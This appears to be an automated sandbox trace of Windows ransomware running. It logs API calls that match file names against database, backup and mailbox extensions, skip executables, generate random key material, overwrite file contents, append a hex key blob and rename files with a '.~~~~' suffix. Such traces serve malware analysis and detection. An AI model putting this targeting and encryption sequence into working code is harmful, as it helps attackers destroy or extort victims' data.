	[0076.208] lstrlenW (lpString=".dtxs") returned 5
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".dtxs") returned 0x0
	[0076.208] lstrlenW (lpString=".db3") returned 4
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".db3") returned 0x0
	[0076.208] lstrlenW (lpString=".OST") returned 4
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".OST") returned 0x0
	[0076.208] lstrlenW (lpString=".dbx") returned 4
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".dbx") returned 0x0
	[0076.208] lstrlenW (lpString=".DB3") returned 4
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".DB3") returned 0x0
	[0076.208] lstrlenW (lpString=".DAT") returned 4
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".DAT") returned 0x0
	[0076.208] lstrlenW (lpString=".VHDX") returned 5
	[0076.208] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".VHDX") returned 0x0
	[0076.208] lstrlenW (lpString=".ndf") returned 4
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".ndf") returned 0x0
	[0076.209] lstrlenW (lpString=".DB") returned 3
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".DB") returned 0x0
	[0076.209] lstrlenW (lpString=".sql") returned 4
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".sql") returned 0x0
	[0076.209] lstrlenW (lpString=".MYD") returned 4
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".MYD") returned 0x0
	[0076.209] lstrlenW (lpString=".DBT") returned 4
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".DBT") returned 0x0
	[0076.209] lstrlenW (lpString=".ACCDB") returned 6
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".ACCDB") returned 0x0
	[0076.209] lstrlenW (lpString=".fdb") returned 4
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".fdb") returned 0x0
	[0076.209] lstrlenW (lpString=".bak") returned 4
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".bak") returned 0x0
	[0076.209] lstrlenW (lpString=".myd") returned 4
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".myd") returned 0x0
	[0076.209] lstrlenW (lpString=".DTXS") returned 5
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".DTXS") returned 0x0
	[0076.209] lstrlenW (lpString=".ckp") returned 4
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".ckp") returned 0x0
	[0076.209] lstrlenW (lpString=".dbt") returned 4
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".dbt") returned 0x0
	[0076.209] lstrlenW (lpString=".db") returned 3
	[0076.209] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".db") returned 0x0
	[0076.209] lstrlenW (lpString=".TXT") returned 4
	[0076.210] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".TXT") returned 0x0
	[0076.210] lstrlenW (lpString=".MDF") returned 4
	[0076.210] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".MDF") returned 0x0
	[0076.210] lstrlenW (lpString=".bdb") returned 4
	[0076.210] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".bdb") returned 0x0
	[0076.210] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.210] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7030
	[0076.210] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.210] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0076.211] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.211] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.211] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19620113355) returned 1
	[0076.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x975220b0, dwHighDateTime=0x1d60e1e)) 
	[0076.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fab30
	[0076.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fab30 | out: hHeap=0x300000) returned 1
	[0076.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7450
	[0076.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0076.212] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0076.212] GetLastError () returned 0x0
	[0076.212] GetLastError () returned 0x0
	[0076.212] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0076.212] GetLastError () returned 0x0
	[0076.212] GetLastError () returned 0x0
	[0076.212] ReadFile (in: hFile=0x11c, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.215] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.215] WriteFile (in: hFile=0x11c, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.218] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.218] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.222] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.222] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.222] CloseHandle (hObject=0x11c) returned 1
	[0076.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4100
	[0076.223] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.~~~~")) returned 1
	[0076.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a4100 | out: hHeap=0x300000) returned 1
	[0076.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.223] GetLastError () returned 0x0
	[0076.223] RtlWakeConditionVariable () returned 0x365f70
	[0076.223] GetCurrentThreadId () returned 0x9f4
	[0076.223] GetCurrentThreadId () returned 0x9f4
	[0076.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0076.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7f78 | out: hHeap=0x300000) returned 1
	[0076.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fabd8 | out: hHeap=0x300000) returned 1
	[0076.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7f78
	[0076.224] lstrlenW (lpString=".scr") returned 4
	[0076.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", lpSrch=".scr") returned 0x0
	[0076.224] lstrlenW (lpString=".cmd") returned 4
	[0076.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", lpSrch=".cmd") returned 0x0
	[0076.224] lstrlenW (lpString=".dll") returned 4
	[0076.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll", lpSrch=".dll") returned=".dll"
	[0076.224] lstrlenW (lpString=".dll") returned 4
	[0076.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7f78 | out: hHeap=0x300000) returned 1
	[0076.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0076.224] RtlWakeConditionVariable () returned 0x365f70
	[0076.224] GetCurrentThreadId () returned 0x9f4
	[0076.224] GetCurrentThreadId () returned 0x9f4
	[0076.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0076.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8020 | out: hHeap=0x300000) returned 1
	[0076.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fac10 | out: hHeap=0x300000) returned 1
	[0076.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8020
	[0076.224] lstrlenW (lpString=".scr") returned 4
	[0076.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".scr") returned 0x0
	[0076.224] lstrlenW (lpString=".cmd") returned 4
	[0076.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".cmd") returned 0x0
	[0076.224] lstrlenW (lpString=".dll") returned 4
	[0076.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".dll") returned 0x0
	[0076.224] lstrlenW (lpString=".bat") returned 4
	[0076.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".bat") returned 0x0
	[0076.224] lstrlenW (lpString=".cpl") returned 4
	[0076.224] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".cpl") returned 0x0
	[0076.225] lstrlenW (lpString=".sys") returned 4
	[0076.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".sys") returned 0x0
	[0076.225] lstrlenW (lpString=".msc") returned 4
	[0076.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".msc") returned 0x0
	[0076.225] lstrlenW (lpString=".com") returned 4
	[0076.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".com") returned 0x0
	[0076.225] lstrlenW (lpString=".lnk") returned 4
	[0076.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".lnk") returned 0x0
	[0076.225] lstrlenW (lpString=".msp") returned 4
	[0076.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".msp") returned 0x0
	[0076.225] lstrlenW (lpString=".pif") returned 4
	[0076.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".pif") returned 0x0
	[0076.225] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.225] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0076.225] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0076.233] lstrlenW (lpString=".sqb") returned 4
	[0076.233] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".sqb") returned 0x0
	[0076.233] lstrlenW (lpString=".ost") returned 4
	[0076.233] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".ost") returned 0x0
	[0076.233] lstrlenW (lpString=".txt") returned 4
	[0076.233] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".txt") returned 0x0
	[0076.233] lstrlenW (lpString=".mdt") returned 4
	[0076.233] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".mdt") returned 0x0
	[0076.233] lstrlenW (lpString=".BDB") returned 4
	[0076.233] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".BDB") returned 0x0
	[0076.233] lstrlenW (lpString=".eql") returned 4
	[0076.233] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".eql") returned 0x0
	[0076.233] lstrlenW (lpString=".DBF") returned 4
	[0076.233] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".DBF") returned 0x0
	[0076.233] lstrlenW (lpString=".EQL") returned 4
	[0076.233] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".EQL") returned 0x0
	[0076.233] lstrlenW (lpString=".FDB") returned 4
	[0076.233] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".FDB") returned 0x0
	[0076.233] lstrlenW (lpString=".EDB") returned 4
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".EDB") returned 0x0
	[0076.234] lstrlenW (lpString=".DACPAC") returned 7
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".DACPAC") returned 0x0
	[0076.234] lstrlenW (lpString=".VHD") returned 4
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".VHD") returned 0x0
	[0076.234] lstrlenW (lpString=".DBV") returned 4
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".DBV") returned 0x0
	[0076.234] lstrlenW (lpString=".dacpac") returned 7
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".dacpac") returned 0x0
	[0076.234] lstrlenW (lpString=".sdf") returned 4
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".sdf") returned 0x0
	[0076.234] lstrlenW (lpString=".accdb") returned 6
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".accdb") returned 0x0
	[0076.234] lstrlenW (lpString=".DBX") returned 4
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".DBX") returned 0x0
	[0076.234] lstrlenW (lpString=".MDT") returned 4
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".MDT") returned 0x0
	[0076.234] lstrlenW (lpString=".SQB") returned 4
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".SQB") returned 0x0
	[0076.234] lstrlenW (lpString=".vhd") returned 4
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".vhd") returned 0x0
	[0076.234] lstrlenW (lpString=".bac") returned 4
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".bac") returned 0x0
	[0076.234] lstrlenW (lpString=".mdf") returned 4
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".mdf") returned 0x0
	[0076.234] lstrlenW (lpString=".BAK") returned 4
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".BAK") returned 0x0
	[0076.234] lstrlenW (lpString=".BAC") returned 4
	[0076.234] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".BAC") returned 0x0
	[0076.234] lstrlenW (lpString=".dbs") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".dbs") returned 0x0
	[0076.235] lstrlenW (lpString=".vhdx") returned 5
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".vhdx") returned 0x0
	[0076.235] lstrlenW (lpString=".NDF") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".NDF") returned 0x0
	[0076.235] lstrlenW (lpString=".dat") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".dat") returned 0x0
	[0076.235] lstrlenW (lpString=".DBS") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".DBS") returned 0x0
	[0076.235] lstrlenW (lpString=".CKP") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".CKP") returned 0x0
	[0076.235] lstrlenW (lpString=".edb") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".edb") returned 0x0
	[0076.235] lstrlenW (lpString=".PST") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".PST") returned 0x0
	[0076.235] lstrlenW (lpString=".dbf") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".dbf") returned 0x0
	[0076.235] lstrlenW (lpString=".SQL") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".SQL") returned 0x0
	[0076.235] lstrlenW (lpString=".pst") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".pst") returned 0x0
	[0076.235] lstrlenW (lpString=".dbv") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".dbv") returned 0x0
	[0076.235] lstrlenW (lpString=".SDF") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".SDF") returned 0x0
	[0076.235] lstrlenW (lpString=".dtxs") returned 5
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".dtxs") returned 0x0
	[0076.235] lstrlenW (lpString=".db3") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".db3") returned 0x0
	[0076.235] lstrlenW (lpString=".OST") returned 4
	[0076.235] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".OST") returned 0x0
	[0076.235] lstrlenW (lpString=".dbx") returned 4
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".dbx") returned 0x0
	[0076.236] lstrlenW (lpString=".DB3") returned 4
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".DB3") returned 0x0
	[0076.236] lstrlenW (lpString=".DAT") returned 4
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".DAT") returned 0x0
	[0076.236] lstrlenW (lpString=".VHDX") returned 5
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".VHDX") returned 0x0
	[0076.236] lstrlenW (lpString=".ndf") returned 4
